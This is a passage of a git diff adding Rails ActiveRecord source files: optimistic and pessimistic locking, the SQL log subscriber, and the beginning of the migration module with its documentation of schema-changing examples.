+            # a change from the default, since the database might have no default
+            attribute_names |= [self.class.locking_column]
+          end
+          super
+        end
+
+        def _update_record(attribute_names = self.attribute_names)
+          return super unless locking_enabled?
+          return 0 if attribute_names.empty?
+
+          begin
+            lock_col = self.class.locking_column
+
+            previous_lock_value = read_attribute_before_type_cast(lock_col)
+
+            increment_lock
+
+            attribute_names.push(lock_col)
+
+            relation = self.class.unscoped
+
+            affected_rows = relation.where(
+              self.class.primary_key => id,
+              lock_col => previous_lock_value
+            ).update_all(
+              attributes_for_update(attribute_names).map do |name|
+                [name, _read_attribute(name)]
+              end.to_h
+            )
+
+            unless affected_rows == 1
+              raise ActiveRecord::StaleObjectError.new(self, "update")
+            end
+
+            affected_rows
+
+          # If something went wrong, revert the locking_column value.
+          rescue Exception
+            send("#{lock_col}=", previous_lock_value.to_i)
+
+            raise
+          end
+        end
+
+        def destroy_row
+          affected_rows = super
+
+          if locking_enabled? && affected_rows != 1
+            raise ActiveRecord::StaleObjectError.new(self, "destroy")
+          end
+
+          affected_rows
+        end
+
+        def relation_for_destroy
+          relation = super
+
+          if locking_enabled?
+            locking_column = self.class.locking_column
+            relation = relation.where(locking_column => read_attribute_before_type_cast(locking_column))
+          end
+
+          relation
+        end
+
+        module ClassMethods
+          DEFAULT_LOCKING_COLUMN = "lock_version"
+
+          # Returns true if the +lock_optimistically+ flag is set to true
+          # (which it is, by default) and the table includes the
+          # +locking_column+ column (defaults to +lock_version+).
+          def locking_enabled?
+            lock_optimistically && columns_hash[locking_column]
+          end
+
+          # Set the column to use for optimistic locking. Defaults to +lock_version+.
+          def locking_column=(value)
+            reload_schema_from_cache
+            @locking_column = value.to_s
+          end
+
+          # The version column used for optimistic locking. Defaults to +lock_version+.
+          def locking_column
+            @locking_column = DEFAULT_LOCKING_COLUMN unless defined?(@locking_column)
+            @locking_column
+          end
+
+          # Reset the column used for optimistic locking back to the +lock_version+ default.
+          def reset_locking_column
+            self.locking_column = DEFAULT_LOCKING_COLUMN
+          end
+
+          # Make sure the lock version column gets updated when counters are
+          # updated.
+          def update_counters(id, counters)
+            counters = counters.merge(locking_column => 1) if locking_enabled?
+            super
+          end
+
+          private
+
+            # We need to apply this decorator here, rather than on module inclusion. The closure
+            # created by the matcher would otherwise evaluate for `ActiveRecord::Base`, not the
+            # sub class being decorated. As such, changes to `lock_optimistically`, or
+            # `locking_column` would not be picked up.
+            def inherited(subclass)
+              subclass.class_eval do
+                is_lock_column = ->(name, _) { lock_optimistically && name == locking_column }
+                decorate_matching_attribute_types(is_lock_column, :_optimistic_locking) do |type|
+                  LockingType.new(type)
+                end
+              end
+              super
+            end
+        end
+    end
+
+    # In de/serialize we change `nil` to 0, so that we can allow passing
+    # `nil` values to `lock_version`, and not result in `ActiveRecord::StaleObjectError`
+    # during update record.
+    class LockingType < DelegateClass(Type::Value) # :nodoc:
+      def deserialize(value)
+        super.to_i
+      end
+
+      def serialize(value)
+        super.to_i
+      end
+
+      def init_with(coder)
+        __setobj__(coder["subtype"])
+      end
+
+      def encode_with(coder)
+        coder["subtype"] = __getobj__
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/locking/pessimistic.rb b/activerecord/lib/active_record/locking/pessimistic.rb
new file mode 100644
index 0000000000..e939a24ad5
--- /dev/null
+++ b/activerecord/lib/active_record/locking/pessimistic.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Locking
+    # Locking::Pessimistic provides support for row-level locking using
+    # SELECT ... FOR UPDATE and other lock types.
+    #
+    # Chain <tt>ActiveRecord::Base#find</tt> to <tt>ActiveRecord::QueryMethods#lock</tt> to obtain an exclusive
+    # lock on the selected rows:
+    #   # select * from accounts where id=1 for update
+    #   Account.lock.find(1)
+    #
+    # Call <tt>lock('some locking clause')</tt> to use a database-specific locking clause
+    # of your own such as 'LOCK IN SHARE MODE' or 'FOR UPDATE NOWAIT'. Example:
+    #
+    #   Account.transaction do
+    #     # select * from accounts where name = 'shugo' limit 1 for update
+    #     shugo = Account.where("name = 'shugo'").lock(true).first
+    #     yuko = Account.where("name = 'yuko'").lock(true).first
+    #     shugo.balance -= 100
+    #     shugo.save!
+    #     yuko.balance += 100
+    #     yuko.save!
+    #   end
+    #
+    # You can also use <tt>ActiveRecord::Base#lock!</tt> method to lock one record by id.
+    # This may be better if you don't need to lock every row. Example:
+    #
+    #   Account.transaction do
+    #     # select * from accounts where ...
+    #     accounts = Account.where(...)
+    #     account1 = accounts.detect { |account| ... }
+    #     account2 = accounts.detect { |account| ... }
+    #     # select * from accounts where id=? for update
+    #     account1.lock!
+    #     account2.lock!
+    #     account1.balance -= 100
+    #     account1.save!
+    #     account2.balance += 100
+    #     account2.save!
+    #   end
+    #
+    # You can start a transaction and acquire the lock in one go by calling
+    # <tt>with_lock</tt> with a block. The block is called from within
+    # a transaction, the object is already locked. Example:
+    #
+    #   account = Account.first
+    #   account.with_lock do
+    #     # This block is called within a transaction,
+    #     # account is already locked.
+    #     account.balance -= 100
+    #     account.save!
+    #   end
+    #
+    # Database-specific information on row locking:
+    #   MySQL: http://dev.mysql.com/doc/refman/5.7/en/innodb-locking-reads.html
+    #   PostgreSQL: https://www.postgresql.org/docs/current/interactive/sql-select.html#SQL-FOR-UPDATE-SHARE
+    module Pessimistic
+      # Obtain a row lock on this record. Reloads the record to obtain the requested
+      # lock. Pass an SQL locking clause to append the end of the SELECT statement
+      # or pass true for "FOR UPDATE" (the default, an exclusive row lock). Returns
+      # the locked record.
+      def lock!(lock = true)
+        if persisted?
+          if changed?
+            ActiveSupport::Deprecation.warn(<<-MSG.squish)
+              Locking a record with unpersisted changes is deprecated and will raise an
+              exception in Rails 5.2. Use `save` to persist the changes, or `reload` to
+              discard them explicitly.
+            MSG
+          end
+          reload(lock: lock)
+        end
+        self
+      end
+
+      # Wraps the passed block in a transaction, locking the object
+      # before yielding. You can pass the SQL locking clause
+      # as argument (see <tt>lock!</tt>).
+      def with_lock(lock = true)
+        transaction do
+          lock!(lock)
+          yield
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/log_subscriber.rb b/activerecord/lib/active_record/log_subscriber.rb
new file mode 100644
index 0000000000..405f3a30c6
--- /dev/null
+++ b/activerecord/lib/active_record/log_subscriber.rb
@@ -0,0 +1,96 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class LogSubscriber < ActiveSupport::LogSubscriber
+    IGNORE_PAYLOAD_NAMES = ["SCHEMA", "EXPLAIN"]
+
+    def self.runtime=(value)
+      ActiveRecord::RuntimeRegistry.sql_runtime = value
+    end
+
+    def self.runtime
+      ActiveRecord::RuntimeRegistry.sql_runtime ||= 0
+    end
+
+    def self.reset_runtime
+      rt, self.runtime = runtime, 0
+      rt
+    end
+
+    def sql(event)
+      self.class.runtime += event.duration
+      return unless logger.debug?
+
+      payload = event.payload
+
+      return if IGNORE_PAYLOAD_NAMES.include?(payload[:name])
+
+      name  = "#{payload[:name]} (#{event.duration.round(1)}ms)"
+      name  = "CACHE #{name}" if payload[:cached]
+      sql   = payload[:sql]
+      binds = nil
+
+      unless (payload[:binds] || []).empty?
+        casted_params = type_casted_binds(payload[:type_casted_binds])
+        binds = "  " + payload[:binds].zip(casted_params).map { |attr, value|
+          render_bind(attr, value)
+        }.inspect
+      end
+
+      name = colorize_payload_name(name, payload[:name])
+      sql  = color(sql, sql_color(sql), true)
+
+      debug "  #{name}  #{sql}#{binds}"
+    end
+
+    private
+      def type_casted_binds(casted_binds)
+        casted_binds.respond_to?(:call) ? casted_binds.call : casted_binds
+      end
+
+      def render_bind(attr, value)
+        if attr.is_a?(Array)
+          attr = attr.first
+        elsif attr.type.binary? && attr.value
+          value = "<#{attr.value_for_database.to_s.bytesize} bytes of binary data>"
+        end
+
+        [attr && attr.name, value]
+      end
+
+      def colorize_payload_name(name, payload_name)
+        if payload_name.blank? || payload_name == "SQL" # SQL vs Model Load/Exists
+          color(name, MAGENTA, true)
+        else
+          color(name, CYAN, true)
+        end
+      end
+
+      def sql_color(sql)
+        case sql
+        when /\A\s*rollback/mi
+          RED
+        when /select .*for update/mi, /\A\s*lock/mi
+          WHITE
+        when /\A\s*select/i
+          BLUE
+        when /\A\s*insert/i
+          GREEN
+        when /\A\s*update/i
+          YELLOW
+        when /\A\s*delete/i
+          RED
+        when /transaction\s*\Z/i
+          CYAN
+        else
+          MAGENTA
+        end
+      end
+
+      def logger
+        ActiveRecord::Base.logger
+      end
+  end
+end
+
+ActiveRecord::LogSubscriber.attach_to :active_record
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
new file mode 100644
index 0000000000..52ca4671c2
--- /dev/null
+++ b/activerecord/lib/active_record/migration.rb
@@ -0,0 +1,1340 @@
+# frozen_string_literal: true
+
+require "set"
+require "zlib"
+require "active_support/core_ext/module/attribute_accessors"
+
+module ActiveRecord
+  class MigrationError < ActiveRecordError#:nodoc:
+    def initialize(message = nil)
+      message = "\n\n#{message}\n\n" if message
+      super
+    end
+  end
+
+  # Exception that can be raised to stop migrations from being rolled back.
+  # For example the following migration is not reversible.
+  # Rolling back this migration will raise an ActiveRecord::IrreversibleMigration error.
+  #
+  #   class IrreversibleMigrationExample < ActiveRecord::Migration[5.0]
+  #     def change
+  #       create_table :distributors do |t|
+  #         t.string :zipcode
+  #       end
+  #
+  #       execute <<-SQL
+  #         ALTER TABLE distributors
+  #           ADD CONSTRAINT zipchk
+  #             CHECK (char_length(zipcode) = 5) NO INHERIT;
+  #       SQL
+  #     end
+  #   end
+  #
+  # There are two ways to mitigate this problem.
+  #
+  # 1. Define <tt>#up</tt> and <tt>#down</tt> methods instead of <tt>#change</tt>:
+  #
+  #  class ReversibleMigrationExample < ActiveRecord::Migration[5.0]
+  #    def up
+  #      create_table :distributors do |t|
+  #        t.string :zipcode
+  #      end
+  #
+  #      execute <<-SQL
+  #        ALTER TABLE distributors
+  #          ADD CONSTRAINT zipchk
+  #            CHECK (char_length(zipcode) = 5) NO INHERIT;
+  #      SQL
+  #    end
+  #
+  #    def down
+  #      execute <<-SQL
+  #        ALTER TABLE distributors
+  #          DROP CONSTRAINT zipchk
+  #      SQL
+  #
+  #      drop_table :distributors
+  #    end
+  #  end
+  #
+  # 2. Use the #reversible method in <tt>#change</tt> method:
+  #
+  #   class ReversibleMigrationExample < ActiveRecord::Migration[5.0]
+  #     def change
+  #       create_table :distributors do |t|
+  #         t.string :zipcode
+  #       end
+  #
+  #       reversible do |dir|
+  #         dir.up do
+  #           execute <<-SQL
+  #             ALTER TABLE distributors
+  #               ADD CONSTRAINT zipchk
+  #                 CHECK (char_length(zipcode) = 5) NO INHERIT;
+  #           SQL
+  #         end
+  #
+  #         dir.down do
+  #           execute <<-SQL
+  #             ALTER TABLE distributors
+  #               DROP CONSTRAINT zipchk
+  #           SQL
+  #         end
+  #       end
+  #     end
+  #   end
+  class IrreversibleMigration < MigrationError
+  end
+
+  class DuplicateMigrationVersionError < MigrationError#:nodoc:
+    def initialize(version = nil)
+      if version
+        super("Multiple migrations have the version number #{version}.")
+      else
+        super("Duplicate migration version error.")
+      end
+    end
+  end
+
+  class DuplicateMigrationNameError < MigrationError#:nodoc:
+    def initialize(name = nil)
+      if name
+        super("Multiple migrations have the name #{name}.")
+      else
+        super("Duplicate migration name.")
+      end
+    end
+  end
+
+  class UnknownMigrationVersionError < MigrationError #:nodoc:
+    def initialize(version = nil)
+      if version
+        super("No migration with version number #{version}.")
+      else
+        super("Unknown migration version.")
+      end
+    end
+  end
+
+  class IllegalMigrationNameError < MigrationError#:nodoc:
+    def initialize(name = nil)
+      if name
+        super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed).")
+      else
+        super("Illegal name for migration.")
+      end
+    end
+  end
+
+  class PendingMigrationError < MigrationError#:nodoc:
+    def initialize(message = nil)
+      if !message && defined?(Rails.env)
+        super("Migrations are pending. To resolve this issue, run:\n\n        bin/rails db:migrate RAILS_ENV=#{::Rails.env}")
+      elsif !message
+        super("Migrations are pending. To resolve this issue, run:\n\n        bin/rails db:migrate")
+      else
+        super
+      end
+    end
+  end
+
+  class ConcurrentMigrationError < MigrationError #:nodoc:
+    DEFAULT_MESSAGE = "Cannot run migrations because another migration process is currently running.".freeze
+
+    def initialize(message = DEFAULT_MESSAGE)
+      super
+    end
+  end
+
+  class NoEnvironmentInSchemaError < MigrationError #:nodoc:
+    def initialize
+      msg = "Environment data not found in the schema. To resolve this issue, run: \n\n        bin/rails db:environment:set"
+      if defined?(Rails.env)
+        super("#{msg} RAILS_ENV=#{::Rails.env}")
+      else
+        super(msg)
+      end
+    end
+  end
+
+  class ProtectedEnvironmentError < ActiveRecordError #:nodoc:
+    def initialize(env = "production")
+      msg = "You are attempting to run a destructive action against your '#{env}' database.\n".dup
+      msg << "If you are sure you want to continue, run the same command with the environment variable:\n"
+      msg << "DISABLE_DATABASE_ENVIRONMENT_CHECK=1"
+      super(msg)
+    end
+  end
+
+  class EnvironmentMismatchError < ActiveRecordError
+    def initialize(current: nil, stored: nil)
+      msg =  "You are attempting to modify a database that was last run in `#{ stored }` environment.\n".dup
+      msg << "You are running in `#{ current }` environment. "
+      msg << "If you are sure you want to continue, first set the environment using:\n\n"
+      msg << "        bin/rails db:environment:set"
+      if defined?(Rails.env)
+        super("#{msg} RAILS_ENV=#{::Rails.env}\n\n")
+      else
+        super("#{msg}\n\n")
+      end
+    end
+  end
+
+  # = Active Record Migrations
+  #
+  # Migrations can manage the evolution of a schema used by several physical
+  # databases. It's a solution to the common problem of adding a field to make
+  # a new feature work in your local database, but being unsure of how to
+  # push that change to other developers and to the production server. With
+  # migrations, you can describe the transformations in self-contained classes
+  # that can be checked into version control systems and executed against
+  # another database that might be one, two, or five versions behind.
+  #
+  # Example of a simple migration:
+  #
+  #   class AddSsl < ActiveRecord::Migration[5.0]
+  #     def up
+  #       add_column :accounts, :ssl_enabled, :boolean, default: true
+  #     end
+  #
+  #     def down
+  #       remove_column :accounts, :ssl_enabled
+  #     end
+  #   end
+  #
+  # This migration will add a boolean flag to the accounts table and remove it
+  # if you're backing out of the migration. It shows how all migrations have
+  # two methods +up+ and +down+ that describes the transformations
+  # required to implement or remove the migration. These methods can consist
+  # of both the migration specific methods like +add_column+ and +remove_column+,
+  # but may also contain regular Ruby code for generating data needed for the
+  # transformations.
+  #
+  # Example of a more complex migration that also needs to initialize data:
+  #
+  #   class AddSystemSettings < ActiveRecord::Migration[5.0]
+  #     def up
+  #       create_table :system_settings do |t|
+  #         t.string  :name
+  #         t.string  :label
+  #         t.text    :value
+  #         t.string  :type
+  #         t.integer :position
+  #       end
+  #
+  #       SystemSetting.create  name:  'notice',
+  #                             label: 'Use notice?',
+  #                             value: 1
+  #     end
+  #
+  #     def down
+  #       drop_table :system_settings
+  #     end
+  #   end
+  #
+  # This migration first adds the +system_settings+ table, then creates the very
+  # first row in it using the Active Record model that relies on the table. It
+  # also uses the more advanced +create_table+ syntax where you can specify a
+  # complete table schema in one block call.
+  #
+  # == Available transformations
+  #
+  # === Creation
+  #
+  # * <tt>create_join_table(table_1, table_2, options)</tt>: Creates a join
+  #   table having its name as the lexical order of the first two
+  #   arguments. See
+  #   ActiveRecord::ConnectionAdapters::SchemaStatements#create_join_table for
+  #   details.
+  # * <tt>create_table(name, options)</tt>: Creates a table called +name+ and
+  #   makes the table object available to a block that can then add columns to it,
+  #   following the same format as +add_column+. See example above. The options hash
+  #   is for fragments like "DEFAULT CHARSET=UTF-8" that are appended to the create
+  #   table definition.
+  # * <tt>add_column(table_name, column_name, type, options)</tt>: Adds a new column
+  #   to the table called +table_name+
+  #   named +column_name+ specified to be one of the following types:
+  #   <tt>:string</tt>, <tt>:text</tt>, <tt>:integer</tt>, <tt>:float</tt>,
+  #   <tt>:decimal</tt>, <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>,
+  #   <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>. A default value can be
+  #   specified by passing an +options+ hash like <tt>{ default: 11 }</tt>.
+  #   Other options include <tt>:limit</tt> and <tt>:null</tt> (e.g.
+  #   <tt>{ limit: 50, null: false }</tt>) -- see
+  #   ActiveRecord::ConnectionAdapters::TableDefinition#column for details.
+  # * <tt>add_foreign_key(from_table, to_table, options)</tt>: Adds a new
+  #   foreign key. +from_table+ is the table with the key column, +to_table+ contains
+  #   the referenced primary key.
+  # * <tt>add_index(table_name, column_names, options)</tt>: Adds a new index
+  #   with the name of the column. Other options include
+  #   <tt>:name</tt>, <tt>:unique</tt> (e.g.
+  #   <tt>{ name: 'users_name_index', unique: true }</tt>) and <tt>:order</tt>
+  #   (e.g. <tt>{ order: { name: :desc } }</tt>).
+  # * <tt>add_reference(:table_name, :reference_name)</tt>: Adds a new column
+  #   +reference_name_id+ by default an integer. See
+  #   ActiveRecord::ConnectionAdapters::SchemaStatements#add_reference for details.
+  # * <tt>add_timestamps(table_name, options)</tt>: Adds timestamps (+created_at+
+  #   and +updated_at+) columns to +table_name+.
+  #
+  # === Modification
+  #
+  # * <tt>change_column(table_name, column_name, type, options)</tt>:  Changes
+  #   the column to a different type using the same parameters as add_column.
+  # * <tt>change_column_default(table_name, column_name, default_or_changes)</tt>:
+  #   Sets a default value for +column_name+ defined by +default_or_changes+ on
+  #   +table_name+. Passing a hash containing <tt>:from</tt> and <tt>:to</tt>
+  #   as +default_or_changes+ will make this change reversible in the migration.
+  # * <tt>change_column_null(table_name, column_name, null, default = nil)</tt>:
+  #   Sets or removes a +NOT NULL+ constraint on +column_name+. The +null+ flag
+  #   indicates whether the value can be +NULL+. See
+  #   ActiveRecord::ConnectionAdapters::SchemaStatements#change_column_null for
+  #   details.
+  # * <tt>change_table(name, options)</tt>: Allows to make column alterations to
+  #   the table called +name+. It makes the table object available to a block that
+  #   can then add/remove columns, indexes or foreign keys to it.
+  # * <tt>rename_column(table_name, column_name, new_column_name)</tt>: Renames
+  #   a column but keeps the type and content.
+  # * <tt>rename_index(table_name, old_name, new_name)</tt>: Renames an index.
+  # * <tt>rename_table(old_name, new_name)</tt>: Renames the table called +old_name+
+  #   to +new_name+.
+  #
+  # === Deletion
+  #
+  # * <tt>drop_table(name)</tt>: Drops the table called +name+.
+  # * <tt>drop_join_table(table_1, table_2, options)</tt>: Drops the join table
+  #   specified by the given arguments.
+  # * <tt>remove_column(table_name, column_name, type, options)</tt>: Removes the column
+  #   named +column_name+ from the table called +table_name+.
+  # * <tt>remove_columns(table_name, *column_names)</tt>: Removes the given
+  #   columns from the table definition.
+  # * <tt>remove_foreign_key(from_table, options_or_to_table)</tt>: Removes the
+  #   given foreign key from the table called +table_name+.
+  # * <tt>remove_index(table_name, column: column_names)</tt>: Removes the index
+  #   specified by +column_names+.
+  # * <tt>remove_index(table_name, name: index_name)</tt>: Removes the index
+  #   specified by +index_name+.
+  # * <tt>remove_reference(table_name, ref_name, options)</tt>: Removes the
+  #   reference(s) on +table_name+ specified by +ref_name+.
+  # * <tt>remove_timestamps(table_name, options)</tt>: Removes the timestamp
+  #   columns (+created_at+ and +updated_at+) from the table definition.
+  #
+  # == Irreversible transformations
+  #
+  # Some transformations are destructive in a manner that cannot be reversed.
+  # Migrations of that kind should raise an <tt>ActiveRecord::IrreversibleMigration</tt>
+  # exception in their +down+ method.
+  #
+  # == Running migrations from within Rails
+  #
+  # The Rails package has several tools to help create and apply migrations.
+  #
+  # To generate a new migration, you can use
+  #   rails generate migration MyNewMigration
+  #
+  # where MyNewMigration is the name of your migration. The generator will
+  # create an empty migration file <tt>timestamp_my_new_migration.rb</tt>
+  # in the <tt>db/migrate/</tt> directory where <tt>timestamp</tt> is the
+  # UTC formatted date and time that the migration was generated.
+  #
+  # There is a special syntactic shortcut to generate migrations that add fields to a table.
+  #
+  #   rails generate migration add_fieldname_to_tablename fieldname:string
+  #
+  # This will generate the file <tt>timestamp_add_fieldname_to_tablename.rb</tt>, which will look like this:
+  #   class AddFieldnameToTablename < ActiveRecord::Migration[5.0]
+  #     def change
+  #       add_column :tablenames, :fieldname, :string
+  #     end
+  #   end
+  #
+  # To run migrations against the currently configured database, use
+  # <tt>rails db:migrate</tt>. This will update the database by running all of the
+  # pending migrations, creating the <tt>schema_migrations</tt> table
+  # (see "About the schema_migrations table" section below) if missing. It will also
+  # invoke the db:schema:dump task, which will update your db/schema.rb file
+  # to match the structure of your database.
+  #
+  # To roll the database back to a previous migration version, use
+  # <tt>rails db:migrate VERSION=X</tt> where <tt>X</tt> is the version to which
+  # you wish to downgrade. Alternatively, you can also use the STEP option if you
+  # wish to rollback last few migrations. <tt>rails db:migrate STEP=2</tt> will rollback
+  # the latest two migrations.
+  #
+  # If any of the migrations throw an <tt>ActiveRecord::IrreversibleMigration</tt> exception,
+  # that step will fail and you'll have some manual work to do.
+  #
+  # == Database support
+  #
+  # Migrations are currently supported in MySQL, PostgreSQL, SQLite,
+  # SQL Server, and Oracle (all supported databases except DB2).
+  #
+  # == More examples
+  #
+  # Not all migrations change the schema. Some just fix the data:
+  #
+  #   class RemoveEmptyTags < ActiveRecord::Migration[5.0]
+  #     def up
+  #       Tag.all.each { |tag| tag.destroy if tag.pages.empty? }
+  #     end
+  #
+  #     def down
+  #       # not much we can do to restore deleted data
+  #       raise ActiveRecord::IrreversibleMigration, "Can't recover the deleted tags"
+  #     end
+  #   end
+  #
+  # Others remove columns when they migrate up instead of down:
+  #
+  #   class RemoveUnnecessaryItemAttributes < ActiveRecord::Migration[5.0]
+  #     def up
+  #       remove_column :items, :incomplete_items_count
+  #       remove_column :items, :completed_items_count
+  #     end
+  #
+  #     def down
+  #       add_column :items, :incomplete_items_count
+  #       add_column :items, :completed_items_count
+  #     end
+  #   end
+  #
+  # And sometimes you need to do something in SQL not abstracted directly by migrations:
+  #
+  #   class MakeJoinUnique < ActiveRecord::Migration[5.0]
+  #     def up
+  #       execute "ALTER TABLE `pages_linked_pages` ADD UNIQUE `page_id_linked_page_id` (`page_id`,`linked_page_id`)"
+  #     end
+  #
+  #     def down
+  #       execute "ALTER TABLE `pages_linked_pages` DROP INDEX `page_id_linked_page_id`"
+  #     end
+  #   end
+  #
+  # == Using a model after changing its table
+  #
+  # Sometimes you'll want to add a column in a migration and populate it
+  # immediately after. In that case, you'll need to make a call to
+  # <tt>Base#reset_column_information</tt> in order to ensure that the model has the
+  # latest column data from after the new column was added. Example:
+  #
+  #   class AddPeopleSalary < ActiveRecord::Migration[5.0]
+  #     def up
+  #       add_column :people, :salary, :integer
+  #       Person.reset_column_information
+  #       Person.all.each do |p|
+  #         p.update_attribute :salary, SalaryCalculator.compute(p)
+  #       end
+  #     end
+  #   end
+  #
+  # == Controlling verbosity
+  #
+  # By default, migrations will describe the actions they are taking, writing
+  # them to the console as they happen, along with benchmarks describing how
+  # long each step took.
+  #
+  # You can quiet them down by setting ActiveRecord::Migration.verbose = false.
+  #
+  # You can also insert your own messages and benchmarks by using the +say_with_time+
+  # method:
+  #
+  #   def up
+  #     ...
+  #     say_with_time "Updating salaries..." do
+  #       Person.all.each do |p|
+  #         p.update_attribute :salary, SalaryCalculator.compute(p)
+  #       end
+  #     end
+  #     ...
+  #   end
+  #
+  # The phrase "Updating salaries..." would then be printed, along with the
+  # benchmark for the block when the block completes.
+  #
+  # == Timestamped Migrations
+  #
+  # By default, Rails generates migrations that look like:
+  #
+  #    20080717013526_your_migration_name.rb
+  #
+  # The prefix is a generation timestamp (in UTC).
+  #
+  # If you'd prefer to use numeric prefixes, you can turn timestamped migrations
+  # off by setting:
+  #
+  #    config.active_record.timestamped_migrations = false
+  #
+  # In application.rb.
+  #
+  # == Reversible Migrations
+  #
+  # Reversible migrations are migrations that know how to go +down+ for you.
+  # You simply supply the +up+ logic, and the Migration system figures out
+  # how to execute the down commands for you.
+  #
+  # To define a reversible migration, define the +change+ method in your
+  # migration like this:
+  #
+  #   class TenderloveMigration < ActiveRecord::Migration[5.0]
+  #     def change
+  #       create_table(:horses) do |t|
+  #         t.column :content, :text
+  #         t.column :remind_at, :datetime
+  #       end
+  #     end
+  #   end
+  #
+  # This migration will create the horses table for you on the way up, and
+  # automatically figure out how to drop the table on the way down.
+  #
+  # Some commands like +remove_column+ cannot be reversed.  If you care to
+  # define how to move up and down in these cases, you should define the +up+
+  # and +down+ methods as before.
+  #
+  # If a command cannot be reversed, an
+  # <tt>ActiveRecord::IrreversibleMigration</tt> exception will be raised when
+  # the migration is moving down.
+  #
+  # For a list of commands that are reversible, please see
+  # <tt>ActiveRecord::Migration::CommandRecorder</tt>.
+  #
+  # == Transactional Migrations
+  #
+  # If the database adapter supports DDL transactions, all migrations will
+  # automatically be wrapped in a transaction. There are queries that you
+  # can't execute inside a transaction though, and for these situations
+  # you can turn the automatic transactions off.
+  #
+  #   class ChangeEnum < ActiveRecord::Migration[5.0]
+  #     disable_ddl_transaction!
+  #
+  #     def up
+  #       execute "ALTER TYPE model_size ADD VALUE 'new_value'"
+  #     end
+  #   end
+  #
+  # Remember that you can still open your own transactions, even if you
+  # are in a Migration with <tt>self.disable_ddl_transaction!</tt>.
+  class Migration
+    autoload :CommandRecorder, "active_record/migration/command_recorder"
+    autoload :Compatibility, "active_record/migration/compatibility"
+
+    # This must be defined before the inherited hook, below
+    class Current < Migration # :nodoc:
+    end
+
+    def self.inherited(subclass) # :nodoc:
+      super
+      if subclass.superclass == Migration
+        raise StandardError, "Directly inheriting from ActiveRecord::Migration is not supported. " \
+          "Please specify the Rails release the migration was written for:\n" \
+          "\n" \
+          "  class #{subclass} < ActiveRecord::Migration[4.2]"
+      end
+    end
+
+    def self.[](version)
+      Compatibility.find(version)
+    end
+
+    def self.current_version
+      ActiveRecord::VERSION::STRING.to_f
+    end
+
+    MigrationFilenameRegexp = /\A([0-9]+)_([_a-z0-9]*)\.?([_a-z0-9]*)?\.rb\z/ # :nodoc:
+
+    # This class is used to verify that all migrations have been run before
+    # loading a web page if <tt>config.active_record.migration_error</tt> is set to :page_load
+    class CheckPending
+      def initialize(app)
+        @app = app
+        @last_check = 0
+      end
+
+      def call(env)
+        mtime = ActiveRecord::Migrator.last_migration.mtime.to_i
+        if @last_check < mtime
+          ActiveRecord::Migration.check_pending!(connection)
+          @last_check = mtime
+        end
+        @app.call(env)
+      end
+
+      private
+
+        def connection
+          ActiveRecord::Base.connection
+        end
+    end
+
+    class << self
+      attr_accessor :delegate # :nodoc:
+      attr_accessor :disable_ddl_transaction # :nodoc:
+
+      def nearest_delegate # :nodoc:
+        delegate || superclass.nearest_delegate
+      end
+
+      # Raises <tt>ActiveRecord::PendingMigrationError</tt> error if any migrations are pending.
+      def check_pending!(connection = Base.connection)
+        raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?(connection)
+      end
+
+      def load_schema_if_pending!
+        if ActiveRecord::Migrator.needs_migration? || !ActiveRecord::Migrator.any_migrations?
+          # Roundtrip to Rake to allow plugins to hook into database initialization.
+          FileUtils.cd Rails.root do
+            current_config = Base.connection_config
+            Base.clear_all_connections!
+            system("bin/rails db:test:prepare")
+            # Establish a new connection, the old database may be gone (db:test:prepare uses purge)
+            Base.establish_connection(current_config)
+          end
+          check_pending!
+        end
+      end
+
+      def maintain_test_schema! # :nodoc:
+        if ActiveRecord::Base.maintain_test_schema
+          suppress_messages { load_schema_if_pending! }
+        end
+      end
+
+      def method_missing(name, *args, &block) # :nodoc:
+        nearest_delegate.send(name, *args, &block)
+      end
+
+      def migrate(direction)
+        new.migrate direction
+      end
+
+      # Disable the transaction wrapping this migration.
+      # You can still create your own transactions even after calling #disable_ddl_transaction!
+      #
+      # For more details read the {"Transactional Migrations" section above}[rdoc-ref:Migration].
+      def disable_ddl_transaction!
+        @disable_ddl_transaction = true
+      end
+    end
+
+    def disable_ddl_transaction # :nodoc:
+      self.class.disable_ddl_transaction
+    end
+
+    cattr_accessor :verbose
+    attr_accessor :name, :version
+
+    def initialize(name = self.class.name, version = nil)
+      @name       = name
+      @version    = version
+      @connection = nil
+    end
+
+    self.verbose = true
+    # instantiate the delegate object after initialize is defined
+    self.delegate = new
+
+    # Reverses the migration commands for the given block and
+    # the given migrations.
+    #
+    # The following migration will remove the table 'horses'
+    # and create the table 'apples' on the way up, and the reverse
+    # on the way down.
+    #
+    #   class FixTLMigration < ActiveRecord::Migration[5.0]
+    #     def change
+    #       revert do
+    #         create_table(:horses) do |t|
+    #           t.text :content
+    #           t.datetime :remind_at
+    #         end
+    #       end
+    #       create_table(:apples) do |t|
+    #         t.string :variety
+    #       end
+    #     end
+    #   end
+    #
+    # Or equivalently, if +TenderloveMigration+ is defined as in the
+    # documentation for Migration:
+    #
+    #   require_relative '20121212123456_tenderlove_migration'
+    #
+    #   class FixupTLMigration < ActiveRecord::Migration[5.0]
+    #     def change
+    #       revert TenderloveMigration
+    #
+    #       create_table(:apples) do |t|
+    #         t.string :variety
+    #       end
+    #     end
+    #   end
+    #
+    # This command can be nested.
+    def revert(*migration_classes)
+      run(*migration_classes.reverse, revert: true) unless migration_classes.empty?
+      if block_given?
+        if connection.respond_to? :revert
+          connection.revert { yield }
+        else
+          recorder = CommandRecorder.new(connection)
+          @connection = recorder
+          suppress_messages do
+            connection.revert { yield }
+          end
+          @connection = recorder.delegate
+          recorder.commands.each do |cmd, args, block|
+            send(cmd, *args, &block)
+          end
+        end
+      end
+    end
+
+    def reverting?
+      connection.respond_to?(:reverting) && connection.reverting
+    end
+
+    ReversibleBlockHelper = Struct.new(:reverting) do # :nodoc:
+      def up
+        yield unless reverting
+      end
+
+      def down
+        yield if reverting
+      end
+    end
+
+    # Used to specify an operation that can be run in one direction or another.
+    # Call the methods +up+ and +down+ of the yielded object to run a block
+    # only in one given direction.
+    # The whole block will be called in the right order within the migration.
+    #
